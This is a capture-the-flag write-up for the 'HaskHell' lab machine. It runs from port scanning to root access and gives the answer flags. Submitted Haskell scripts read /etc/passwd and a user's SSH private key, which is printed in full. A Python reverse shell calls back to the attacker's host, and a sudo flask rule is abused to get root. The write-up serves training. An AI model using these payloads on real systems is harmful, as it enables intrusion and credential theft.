HaskHell

HaskHell

Teach your CS professor that his PhD isn't in security.

[Task 1] HaskHell

Show your professor that his PhD isn't in security.
Please send comments/concerns/hatemail to @passthehashbrwn on Twitter.

#1
Get the flag in the user.txt file.

flag{academic_dishonesty}

#2
Obtain the flag in root.txt

flag{im_purely_functional}

writeup

--ran nmap scan and got the following

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
|   256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_  256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)

5001/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
```

|_http-title: Homepage

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

--

--visted website at port 5001 and found a page to upload Haskell code
--ran gobuster and got the following
/submit (Status: 200)

---wrote Haskell scipt to interact with server

```haskell
#!/usr/bin/env runhaskell
import System.IO

main = do
        handle <- openFile "/etc/passwd" ReadMode
        contents <- hGetContents handle
        putStr contents
        hClose handle
```

script returned the following:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
haskell:x:1000:1000:haskhell:/home/haskell:/bin/bash
flask:x:1001:1001::/home/flask:/bin/sh
prof:x:1002:1002::/home/prof:/bin/sh
```

--

wrote another script to get user flag:

```haskell
#!/usr/bin/env runhaskell
import System.IO

main = do
        handle <- openFile "/home/prof/user.txt" ReadMode
        contents <- hGetContents handle
        putStr contents
        hClose handle
```

flag{academic_dishonesty}

wrote a haskell script to get rsa key from server:

```haskell
#!/usr/bin/env runhaskell
import System.IO

main = do
        handle <- openFile "/home/prof/.ssh/id_rsa" ReadMode
        contents <- hGetContents handle
        putStr contents
        hClose handle
```

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA068E6x8/vMcUcitx9zXoWsF8WjmBB04VgGklNQCSEHtzA9cr
94rYpUPcxxxYyw/dAii0W6srQuRCAbQxO5Di+tv9aWXmBGMEt0/3tOE7D09RhZGQ
b68lAFDjSSJaVlVzPi+waotyP2ccVJDjXkwK0KIm6RsACIOhM9GtI2wyZ6vOg4ss
Nb+7UY60iOkcOAWP09Omzjc2q7hcE6CuV6f7+iObamfGlZ4QQ5IvUj0etStDD6iU
WQX4vYewYqUz8bedccFvpC6uP2FGvDONYXrLWWua7wlwSgOqeXXxkG7fxVqYY2++
6ZVm8RE7TpPNxsQNDwpnxOiwTxGMgCrIMxgRVwIDAQABAoIBAQCTLXbf+wQXvtrq
XmaImQSKRUiuepjJeXLdqz1hUpo7t3lKTEqXfAQRM9PG5GCgHtFs9NwheCtGAOob
wSsR3TTTci0JIP4CQs4+nez96DNl+6IUmhawcDfrtlGwwZ/JsvPDYujnyziN+KTr
7ykGoRxL3tHq9Qja4posKzaUEGAjTz8NwrhzB6xatsmcWBV0fFoWzpS/xWzW3i7F
gAoYxc6+4s5bKHsJima2Aj5F3XtHfipkMdBvbl+sjGllgiQn/oEjYMIX5wc7+se2
o7FERO2oy3I5jUOlULsr9BwQpNFA2Qenc4Wc7ghb0LfCVaUs/RHQ7IQ4F3yp/G67
54oLue6hAoGBAPCe+WsnOXzhwQ9WXglhfztDR1lcwSFMeHZpcxYUVqmVEi2ZMLll
B67SCri9lHHyvBtrH7YmZO5Q9UcGXdLCZGmbkJUdX2bjqV0zwwx1qOiVY8LPnZSJ
LJN+0p1dRHsO3n4vTHO8mVuiM5THi6pcgzSTggIhS+e1ks7nlQKiBuD/AoGBAOE2
kwAMtvI03JlkjvOHsN5IhMbOXP0zaRSrKZArDCcqDojDL/AQltQkkLtQPdUPJgdY
3gOkUJ2BCHNllsAtUjrTj+T76N512rO2sSidOEXRDCc+g/QwdgENiq/w9JroeWFc
g9qM3f2cl/EkjxRgiyuTfK6mbzcuMSveX4LfCXepAoGAd2MZc+4ZWvoUNUzwCY2D
eF8QVqlr9d6gYng9rvXWbfvV8iPxBfu3zSjQQwtlTQhYBu6m5FS2fXxTxrLE+J6U
/cU+/o19WWqaDPFy1IrljOYagn1KvXk2UdR6IbQ2FyywfkFvmHk6Sjn3h9leVd/j
BcIunmnw5H214s0KpSzJZvcCgYA5Ca9VNeMnmle+OZ+Swezjfw5Ro3YdkmWsnGTc
ZGqhiJ9Bt91uOWVZuSEGr53ZVgrVlYY0+eqI2WMghp60eUX4LBinb71cihCnrz9S
/+5+kCE51zVoJNXeEmXrhWUNzo7fP6UNNtwKHRzGL/IkwQa+NI5BVVmZahN9/sXF
yWMGcQKBgQDheyI7eKTDMsrEXwMUpl5aiwWPKJ0gY/2hS0WO3XGQtx6HBwg6jJKw
MMn8PNqYKF3DWex59PYiy5ZL1pUG2Y+iadGfIbStSZzN4nItF5+yC42Q2wlhtwgt
i4MU8bepL/GTMgaiR8RmU2qY7wRxfK2Yd+8+GDuzLPEoS7ONNjLhNA==
-----END RSA PRIVATE KEY-----
```

--sudo chmod 600 id_rsa

--used rsa to ssh into the server

ssh prof@10.10.203.195 -i id_rsa gets us in as prof

--sudo -l

User prof may run the following commands on haskhell:
(root) NOPASSWD: /usr/bin/flask run

--found flask runs as root so I created a Python script using VI on the machine:

```python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.2.27.69",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

-ran 'export FLASK_APP=if.py'

--then ran netcat locally nc -lvnp 4444

--and ran if.py on machine to get root shell sudo /usr/bin/flask run

```
listening on [any] 4444 ...
connect to [10.2.27.69] from (UNKNOWN) [10.10.203.195] 48092
# whoami
root
```

```
# cat /root/root.txt
flag{im_purely_functional}
```